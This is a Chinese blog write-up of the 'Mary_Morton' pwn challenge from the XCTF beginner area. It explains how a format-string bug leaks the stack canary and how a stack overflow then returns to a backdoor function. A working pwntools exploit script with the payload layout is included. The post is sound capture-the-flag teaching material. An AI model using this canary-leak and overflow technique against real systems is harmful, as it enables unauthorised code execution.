攻防世界-pwn新手区-Mary_Morton

64位程序,并且开启NX和Canary保护,还有Partial RELRO, got表有写权限

img

执行程序

img

使用ida查看

执行2存在字符串漏洞

img

1中存在栈溢出漏洞

img

同时存在后门函数

img

思路:首先利用字符串漏洞,泄露canary的值,然后在函数要返回时再填回去,之后利用栈溢出,让其返回到后门函数

先看一下字符串的偏移

img

可以看到偏移了6个字节

确定canary和输入函数之间的偏移

img

buf和v2相差了0x90-0x8=0x88,0x88/8=17,17+6=23

因为64位的程序,每个格式字符串都是8字节,同理32位是4字节

然后再利用栈溢出调用后门函数即可get flag

脚本如下

from pwn import *
#context.log_level = 'debug'           //添加这个可以看到调试过程
r=remote('111.198.29.45',53501)

r.recvuntil('3. Exit the battle')
r.sendline('2')         //先进入格式化函数泄露cannary

r.sendline('%23$p')      //泄露cannary

r.recvuntil('0x')
canary=int(r.recv(16),16)     //接收16个字节
print (canary)

flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)

r.interactive()

解释

程序具有canary保护

栈帧情况如下

img

所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp,最后加上system的返回地址既可以。

posted @ 2021-08-20 15:01  殷染  阅读(197)  评论(0)    收藏  举报
//看板娘